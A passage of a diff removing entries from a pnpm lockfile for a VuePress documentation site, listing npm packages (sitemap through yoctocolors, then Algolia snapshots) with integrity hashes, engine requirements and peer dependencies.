- resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==}
- engines: {node: '>=14'}
-
- sitemap@8.0.0:
- resolution: {integrity: sha512-+AbdxhM9kJsHtruUF39bwS/B0Fytw6Fr1o4ZAIAEqA6cke2xcoO2GleBw9Zw7nRzILVEgz7zBM5GiTJjie1G9A==}
- engines: {node: '>=14.0.0', npm: '>=6.0.0'}
- hasBin: true
-
- slash@5.1.0:
- resolution: {integrity: sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==}
- engines: {node: '>=14.16'}
-
- smob@1.5.0:
- resolution: {integrity: sha512-g6T+p7QO8npa+/hNx9ohv1E5pVCmWrVCUzUXJyLdMmftX6ER0oiWY/w9knEonLpnOp6b6FenKnMfR8gqwWdwig==}
-
- source-map-js@1.2.0:
- resolution: {integrity: sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==}
- engines: {node: '>=0.10.0'}
-
- source-map-support@0.5.21:
- resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==}
-
- source-map@0.6.1:
- resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==}
- engines: {node: '>=0.10.0'}
-
- source-map@0.8.0-beta.0:
- resolution: {integrity: sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==}
- engines: {node: '>= 8'}
-
- sourcemap-codec@1.4.8:
- resolution: {integrity: sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==}
- deprecated: Please use @jridgewell/sourcemap-codec instead
-
- speech-rule-engine@4.0.7:
- resolution: {integrity: sha512-sJrL3/wHzNwJRLBdf6CjJWIlxC04iYKkyXvYSVsWVOiC2DSkHmxsqOhEeMsBA9XK+CHuNcsdkbFDnoUfAsmp9g==}
- hasBin: true
-
- sprintf-js@1.0.3:
- resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==}
-
- stdin-discarder@0.2.2:
- resolution: {integrity: sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==}
- engines: {node: '>=18'}
-
- string-width@4.2.3:
- resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==}
- engines: {node: '>=8'}
-
- string-width@7.2.0:
- resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==}
- engines: {node: '>=18'}
-
- string.prototype.matchall@4.0.11:
- resolution: {integrity: sha512-NUdh0aDavY2og7IbBPenWqR9exH+E26Sv8e0/eTe1tltDGZL+GtBkDAnnyBtmekfK6/Dq3MkcGtzXFEd1LQrtg==}
- engines: {node: '>= 0.4'}
-
- string.prototype.trim@1.2.9:
- resolution: {integrity: sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw==}
- engines: {node: '>= 0.4'}
-
- string.prototype.trimend@1.0.8:
- resolution: {integrity: sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ==}
-
- string.prototype.trimstart@1.0.8:
- resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==}
- engines: {node: '>= 0.4'}
-
- stringify-object@3.3.0:
- resolution: {integrity: sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==}
- engines: {node: '>=4'}
-
- strip-ansi@6.0.1:
- resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==}
- engines: {node: '>=8'}
-
- strip-ansi@7.1.0:
- resolution: {integrity: sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==}
- engines: {node: '>=12'}
-
- strip-bom-string@1.0.0:
- resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==}
- engines: {node: '>=0.10.0'}
-
- strip-comments@2.0.1:
- resolution: {integrity: sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==}
- engines: {node: '>=10'}
-
- strip-final-newline@4.0.0:
- resolution: {integrity: sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==}
- engines: {node: '>=18'}
-
- supports-color@5.5.0:
- resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==}
- engines: {node: '>=4'}
-
- supports-color@7.2.0:
- resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==}
- engines: {node: '>=8'}
-
- supports-preserve-symlinks-flag@1.0.0:
- resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==}
- engines: {node: '>= 0.4'}
-
- temp-dir@2.0.0:
- resolution: {integrity: sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==}
- engines: {node: '>=8'}
-
- tempy@0.6.0:
- resolution: {integrity: sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==}
- engines: {node: '>=10'}
-
- terser@5.31.3:
- resolution: {integrity: sha512-pAfYn3NIZLyZpa83ZKigvj6Rn9c/vd5KfYGX7cN1mnzqgDcxWvrU5ZtAfIKhEXz9nRecw4z3LXkjaq96/qZqAA==}
- engines: {node: '>=10'}
- hasBin: true
-
- to-fast-properties@2.0.0:
- resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==}
- engines: {node: '>=4'}
-
- to-regex-range@5.0.1:
- resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==}
- engines: {node: '>=8.0'}
-
- tr46@1.0.1:
- resolution: {integrity: sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==}
-
- ts-debounce@4.0.0:
- resolution: {integrity: sha512-+1iDGY6NmOGidq7i7xZGA4cm8DAa6fqdYcvO5Z6yBevH++Bdo9Qt/mN0TzHUgcCcKv1gmh9+W5dHqz8pMWbCbg==}
-
- type-fest@0.16.0:
- resolution: {integrity: sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==}
- engines: {node: '>=10'}
-
- typed-array-buffer@1.0.2:
- resolution: {integrity: sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ==}
- engines: {node: '>= 0.4'}
-
- typed-array-byte-length@1.0.1:
- resolution: {integrity: sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==}
- engines: {node: '>= 0.4'}
-
- typed-array-byte-offset@1.0.2:
- resolution: {integrity: sha512-Ous0vodHa56FviZucS2E63zkgtgrACj7omjwd/8lTEMEPFFyjfixMZ1ZXenpgCFBBt4EC1J2XsyVS2gkG0eTFA==}
- engines: {node: '>= 0.4'}
-
- typed-array-length@1.0.6:
- resolution: {integrity: sha512-/OxDN6OtAk5KBpGb28T+HZc2M+ADtvRxXrKKbUwtsLgdoxgX13hyy7ek6bFRl5+aBs2yZzB0c4CnQfAtVypW/g==}
- engines: {node: '>= 0.4'}
-
- uc.micro@2.1.0:
- resolution: {integrity: sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==}
-
- unbox-primitive@1.0.2:
- resolution: {integrity: sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==}
-
- undici-types@5.26.5:
- resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==}
-
- unicode-canonical-property-names-ecmascript@2.0.0:
- resolution: {integrity: sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==}
- engines: {node: '>=4'}
-
- unicode-match-property-ecmascript@2.0.0:
- resolution: {integrity: sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==}
- engines: {node: '>=4'}
-
- unicode-match-property-value-ecmascript@2.1.0:
- resolution: {integrity: sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==}
- engines: {node: '>=4'}
-
- unicode-property-aliases-ecmascript@2.1.0:
- resolution: {integrity: sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==}
- engines: {node: '>=4'}
-
- unicorn-magic@0.1.0:
- resolution: {integrity: sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==}
- engines: {node: '>=18'}
-
- unique-string@2.0.0:
- resolution: {integrity: sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==}
- engines: {node: '>=8'}
-
- universalify@2.0.1:
- resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==}
- engines: {node: '>= 10.0.0'}
-
- upath@1.2.0:
- resolution: {integrity: sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==}
- engines: {node: '>=4'}
-
- upath@2.0.1:
- resolution: {integrity: sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==}
- engines: {node: '>=4'}
-
- update-browserslist-db@1.1.0:
- resolution: {integrity: sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==}
- hasBin: true
- peerDependencies:
- browserslist: '>= 4.21.0'
-
- vite@5.3.4:
- resolution: {integrity: sha512-Cw+7zL3ZG9/NZBB8C+8QbQZmR54GwqIz+WMI4b3JgdYJvX+ny9AjJXqkGQlDXSXRP9rP0B4tbciRMOVEKulVOA==}
- engines: {node: ^18.0.0 || >=20.0.0}
- hasBin: true
- peerDependencies:
- '@types/node': ^18.0.0 || >=20.0.0
- less: '*'
- lightningcss: ^1.21.0
- sass: '*'
- stylus: '*'
- sugarss: '*'
- terser: ^5.4.0
- peerDependenciesMeta:
- '@types/node':
- optional: true
- less:
- optional: true
- lightningcss:
- optional: true
- sass:
- optional: true
- stylus:
- optional: true
- sugarss:
- optional: true
- terser:
- optional: true
-
- vue-demi@0.14.9:
- resolution: {integrity: sha512-dC1TJMODGM8lxhP6wLToncaDPPNB3biVxxRDuNCYpuXwi70ou7NsGd97KVTJ2omepGId429JZt8oaZKeXbqxwg==}
- engines: {node: '>=12'}
- hasBin: true
- peerDependencies:
- '@vue/composition-api': ^1.0.0-rc.1
- vue: ^3.0.0-0 || ^2.6.0
- peerDependenciesMeta:
- '@vue/composition-api':
- optional: true
-
- vue-router@4.4.0:
- resolution: {integrity: sha512-HB+t2p611aIZraV2aPSRNXf0Z/oLZFrlygJm+sZbdJaW6lcFqEDQwnzUBXn+DApw+/QzDU/I9TeWx9izEjTmsA==}
- peerDependencies:
- vue: ^3.2.0
-
- vue@3.4.34:
- resolution: {integrity: sha512-VZze05HWlA3ItreQ/ka7Sx7PoD0/3St8FEiSlSTVgb6l4hL+RjtP2/8g5WQBzZgyf8WG2f+g1bXzC7zggLhAJA==}
- peerDependencies:
- typescript: '*'
- peerDependenciesMeta:
- typescript:
- optional: true
-
- vuepress-plugin-components@2.0.0-rc.52:
- resolution: {integrity: sha512-mQRi0XzdUD025ewjBXlhlh948ReOcohMlBEdkxQVNZaLa5OM2mtZm8TJvN1MkSKeiTMZjtzARO1AJNGyhZWFpw==}
- engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'}
- peerDependencies:
- artplayer: ^5.0.0
- dashjs: 4.7.4
- hls.js: ^1.4.12
- mpegts.js: ^1.7.3
- sass-loader: ^14.0.0
- vidstack: ^1.11.21
- vuepress: 2.0.0-rc.14
- peerDependenciesMeta:
- artplayer:
- optional: true
- dashjs:
- optional: true
- hls.js:
- optional: true
- mpegts.js:
- optional: true
- sass-loader:
- optional: true
- vidstack:
- optional: true
-
- vuepress-plugin-md-enhance@2.0.0-rc.52:
- resolution: {integrity: sha512-4lED2FSelBbtBVE5Hon9FQpCgmG1xQbi3+rFrj/Aa1VF+8PTjqFdG4NkdRTx94beOeu/A5jvWp5TFWMbaXD7hA==}
- engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'}
- peerDependencies:
- '@types/reveal.js': ^5.0.0
- '@vue/repl': ^4.1.1
- chart.js: ^4.0.0
- echarts: ^5.0.0
- flowchart.ts: ^2.0.0 || ^3.0.0
- katex: ^0.16.0
- kotlin-playground: ^1.23.0
- markmap-lib: ^0.17.0
- markmap-toolbar: ^0.17.0
- markmap-view: ^0.17.0
- mathjax-full: ^3.2.2
- mermaid: ^10.8.0
- reveal.js: ^5.0.0
- sandpack-vue3: ^3.0.0
- sass-loader: ^14.0.0
- vuepress: 2.0.0-rc.14
- peerDependenciesMeta:
- '@types/reveal.js':
- optional: true
- '@vue/repl':
- optional: true
- chart.js:
- optional: true
- echarts:
- optional: true
- flowchart.ts:
- optional: true
- katex:
- optional: true
- kotlin-playground:
- optional: true
- markmap-lib:
- optional: true
- markmap-toolbar:
- optional: true
- markmap-view:
- optional: true
- mathjax-full:
- optional: true
- mermaid:
- optional: true
- reveal.js:
- optional: true
- sandpack-vue3:
- optional: true
- sass-loader:
- optional: true
-
- vuepress-shared@2.0.0-rc.52:
- resolution: {integrity: sha512-/Y5Qpl8ueqiggqFAyeJ9U2PhLyE7O5hl3r1k4vER/gKpaeYIqmPxf0ToJMFa3uc4luoNEe/9NJb6LJCrcPjFEA==}
- engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'}
- peerDependencies:
- vuepress: 2.0.0-rc.14
-
- vuepress-theme-hope@2.0.0-rc.52:
- resolution: {integrity: sha512-QCfIxIQCFOUpJsOUEPi1QtLPUbKjA0alvjb5JJPMGvHqqP2HHOtSuTdoODqy1qWPUg2/GBR/OLjfpqs14joP+w==}
- engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'}
- peerDependencies:
- '@vuepress/plugin-docsearch': 2.0.0-rc.39
- '@vuepress/plugin-feed': 2.0.0-rc.39
- '@vuepress/plugin-prismjs': 2.0.0-rc.39
- '@vuepress/plugin-pwa': 2.0.0-rc.39
- '@vuepress/plugin-redirect': 2.0.0-rc.39
- '@vuepress/plugin-search': 2.0.0-rc.39
- nodejs-jieba: ^0.1.2
- sass-loader: ^14.0.0
- vuepress: 2.0.0-rc.14
- vuepress-plugin-search-pro: 2.0.0-rc.52
- peerDependenciesMeta:
- '@vuepress/plugin-docsearch':
- optional: true
- '@vuepress/plugin-feed':
- optional: true
- '@vuepress/plugin-prismjs':
- optional: true
- '@vuepress/plugin-pwa':
- optional: true
- '@vuepress/plugin-redirect':
- optional: true
- '@vuepress/plugin-search':
- optional: true
- nodejs-jieba:
- optional: true
- sass-loader:
- optional: true
- vuepress-plugin-search-pro:
- optional: true
-
- vuepress@2.0.0-rc.14:
- resolution: {integrity: sha512-t902FYKFF2MavNQjm/I4gN8etl6iX4PETutu4c1Pt7qQjXF6Hp2eurZaW32O5/TaYWsbVG757FwKodRLj9GDng==}
- engines: {node: '>=18.16.0'}
- hasBin: true
- peerDependencies:
- '@vuepress/bundler-vite': 2.0.0-rc.14
- '@vuepress/bundler-webpack': 2.0.0-rc.14
- vue: ^3.4.0
- peerDependenciesMeta:
- '@vuepress/bundler-vite':
- optional: true
- '@vuepress/bundler-webpack':
- optional: true
-
- watermark-js-plus@1.5.2:
- resolution: {integrity: sha512-iqgSeAfwnCKNpClmyjl7rhj0SEbt8j+MqZc6C3YKY5xjMdxlRMIOcnYdBYBiznzILVyJ6YbwxD5OMajK1D+uCA==}
- engines: {node: '>=16.0.0'}
-
- webidl-conversions@4.0.2:
- resolution: {integrity: sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==}
-
- whatwg-url@7.1.0:
- resolution: {integrity: sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==}
-
- which-boxed-primitive@1.0.2:
- resolution: {integrity: sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==}
-
- which-module@2.0.1:
- resolution: {integrity: sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==}
-
- which-typed-array@1.1.15:
- resolution: {integrity: sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA==}
- engines: {node: '>= 0.4'}
-
- which@2.0.2:
- resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}
- engines: {node: '>= 8'}
- hasBin: true
-
- wicked-good-xpath@1.3.0:
- resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==}
-
- workbox-background-sync@7.1.0:
- resolution: {integrity: sha512-rMbgrzueVWDFcEq1610YyDW71z0oAXLfdRHRQcKw4SGihkfOK0JUEvqWHFwA6rJ+6TClnMIn7KQI5PNN1XQXwQ==}
-
- workbox-broadcast-update@7.1.0:
- resolution: {integrity: sha512-O36hIfhjej/c5ar95pO67k1GQw0/bw5tKP7CERNgK+JdxBANQhDmIuOXZTNvwb2IHBx9hj2kxvcDyRIh5nzOgQ==}
-
- workbox-build@7.1.1:
- resolution: {integrity: sha512-WdkVdC70VMpf5NBCtNbiwdSZeKVuhTEd5PV3mAwpTQCGAB5XbOny1P9egEgNdetv4srAMmMKjvBk4RD58LpooA==}
- engines: {node: '>=16.0.0'}
-
- workbox-cacheable-response@7.1.0:
- resolution: {integrity: sha512-iwsLBll8Hvua3xCuBB9h92+/e0wdsmSVgR2ZlvcfjepZWwhd3osumQB3x9o7flj+FehtWM2VHbZn8UJeBXXo6Q==}
-
- workbox-core@7.1.0:
- resolution: {integrity: sha512-5KB4KOY8rtL31nEF7BfvU7FMzKT4B5TkbYa2tzkS+Peqj0gayMT9SytSFtNzlrvMaWgv6y/yvP9C0IbpFjV30Q==}
-
- workbox-expiration@7.1.0:
- resolution: {integrity: sha512-m5DcMY+A63rJlPTbbBNtpJ20i3enkyOtSgYfv/l8h+D6YbbNiA0zKEkCUaMsdDlxggla1oOfRkyqTvl5Ni5KQQ==}
-
- workbox-google-analytics@7.1.0:
- resolution: {integrity: sha512-FvE53kBQHfVTcZyczeBVRexhh7JTkyQ8HAvbVY6mXd2n2A7Oyz/9fIwnY406ZcDhvE4NFfKGjW56N4gBiqkrew==}
-
- workbox-navigation-preload@7.1.0:
- resolution: {integrity: sha512-4wyAbo0vNI/X0uWNJhCMKxnPanNyhybsReMGN9QUpaePLTiDpKxPqFxl4oUmBNddPwIXug01eTSLVIFXimRG/A==}
-
- workbox-precaching@7.1.0:
- resolution: {integrity: sha512-LyxzQts+UEpgtmfnolo0hHdNjoB7EoRWcF7EDslt+lQGd0lW4iTvvSe3v5JiIckQSB5KTW5xiCqjFviRKPj1zA==}
-
- workbox-range-requests@7.1.0:
- resolution: {integrity: sha512-m7+O4EHolNs5yb/79CrnwPR/g/PRzMFYEdo01LqwixVnc/sbzNSvKz0d04OE3aMRel1CwAAZQheRsqGDwATgPQ==}
-
- workbox-recipes@7.1.0:
- resolution: {integrity: sha512-NRrk4ycFN9BHXJB6WrKiRX3W3w75YNrNrzSX9cEZgFB5ubeGoO8s/SDmOYVrFYp9HMw6sh1Pm3eAY/1gVS8YLg==}
-
- workbox-routing@7.1.0:
- resolution: {integrity: sha512-oOYk+kLriUY2QyHkIilxUlVcFqwduLJB7oRZIENbqPGeBP/3TWHYNNdmGNhz1dvKuw7aqvJ7CQxn27/jprlTdg==}
-
- workbox-strategies@7.1.0:
- resolution: {integrity: sha512-/UracPiGhUNehGjRm/tLUQ+9PtWmCbRufWtV0tNrALuf+HZ4F7cmObSEK+E4/Bx1p8Syx2tM+pkIrvtyetdlew==}
-
- workbox-streams@7.1.0:
- resolution: {integrity: sha512-WyHAVxRXBMfysM8ORwiZnI98wvGWTVAq/lOyBjf00pXFvG0mNaVz4Ji+u+fKa/mf1i2SnTfikoYKto4ihHeS6w==}
-
- workbox-sw@7.1.0:
- resolution: {integrity: sha512-Hml/9+/njUXBglv3dtZ9WBKHI235AQJyLBV1G7EFmh4/mUdSQuXui80RtjDeVRrXnm/6QWgRUEHG3/YBVbxtsA==}
-
- workbox-window@7.1.0:
- resolution: {integrity: sha512-ZHeROyqR+AS5UPzholQRDttLFqGMwP0Np8MKWAdyxsDETxq3qOAyXvqessc3GniohG6e0mAqSQyKOHmT8zPF7g==}
-
- wrap-ansi@6.2.0:
- resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==}
- engines: {node: '>=8'}
-
- wrappy@1.0.2:
- resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}
-
- xmldom-sre@0.1.31:
- resolution: {integrity: sha512-f9s+fUkX04BxQf+7mMWAp5zk61pciie+fFLC9hX9UVvCeJQfNHRHXpeo5MPcR0EUf57PYLdt+ZO4f3Ipk2oZUw==}
- engines: {node: '>=0.1'}
-
- y18n@4.0.3:
- resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==}
-
- yallist@3.1.1:
- resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==}
-
- yargs-parser@18.1.3:
- resolution: {integrity: sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==}
- engines: {node: '>=6'}
-
- yargs@15.4.1:
- resolution: {integrity: sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==}
- engines: {node: '>=8'}
-
- yoctocolors@2.1.1:
- resolution: {integrity: sha512-GQHQqAopRhwU8Kt1DDM8NjibDXHC8eoh1erhGAJPEyveY9qqVeXvVikNKrDz69sHowPMorbPUrH/mx8c50eiBQ==}
- engines: {node: '>=18'}
-
-snapshots:
-
- '@algolia/autocomplete-core@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0)':
- dependencies:
- '@algolia/autocomplete-plugin-algolia-insights': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0)
- '@algolia/autocomplete-shared': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)
- transitivePeerDependencies:
- - '@algolia/client-search'
- - algoliasearch
- - search-insights
-
- '@algolia/autocomplete-plugin-algolia-insights@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0)':
- dependencies:
- '@algolia/autocomplete-shared': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)
- search-insights: 2.15.0
- transitivePeerDependencies:
- - '@algolia/client-search'
- - algoliasearch
-
- '@algolia/autocomplete-preset-algolia@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)':
- dependencies:
- '@algolia/autocomplete-shared': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)
- '@algolia/client-search': 4.24.0
- algoliasearch: 4.24.0
-
- '@algolia/autocomplete-shared@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)':
- dependencies:
- '@algolia/client-search': 4.24.0
- algoliasearch: 4.24.0
-
- '@algolia/cache-browser-local-storage@4.24.0':
- dependencies:
- '@algolia/cache-common': 4.24.0
-
- '@algolia/cache-common@4.24.0': {}
-
- '@algolia/cache-in-memory@4.24.0':
- dependencies:
- '@algolia/cache-common': 4.24.0
-
- '@algolia/client-account@4.24.0':
- dependencies:
- '@algolia/client-common': 4.24.0
- '@algolia/client-search': 4.24.0
- '@algolia/transporter': 4.24.0
-
- '@algolia/client-analytics@4.24.0':
- dependencies:
- '@algolia/client-common': 4.24.0
- '@algolia/client-search': 4.24.0
- '@algolia/requester-common': 4.24.0
- '@algolia/transporter': 4.24.0
-
- '@algolia/client-common@4.24.0':
- dependencies:
- '@algolia/requester-common': 4.24.0
- '@algolia/transporter': 4.24.0
-
- '@algolia/client-personalization@4.24.0':
- dependencies:
- '@algolia/client-common': 4.24.0
- '@algolia/requester-common': 4.24.0
- '@algolia/transporter': 4.24.0
-
- '@algolia/client-search@4.24.0':
- dependencies:
- '@algolia/client-common': 4.24.0
- '@algolia/requester-common': 4.24.0
- '@algolia/transporter': 4.24.0
-
- '@algolia/logger-common@4.24.0': {}
-
- '@algolia/logger-console@4.24.0':
- dependencies:
- '@algolia/logger-common': 4.24.0
-
- '@algolia/recommend@4.24.0':
- dependencies:
- '@algolia/cache-browser-local-storage': 4.24.0
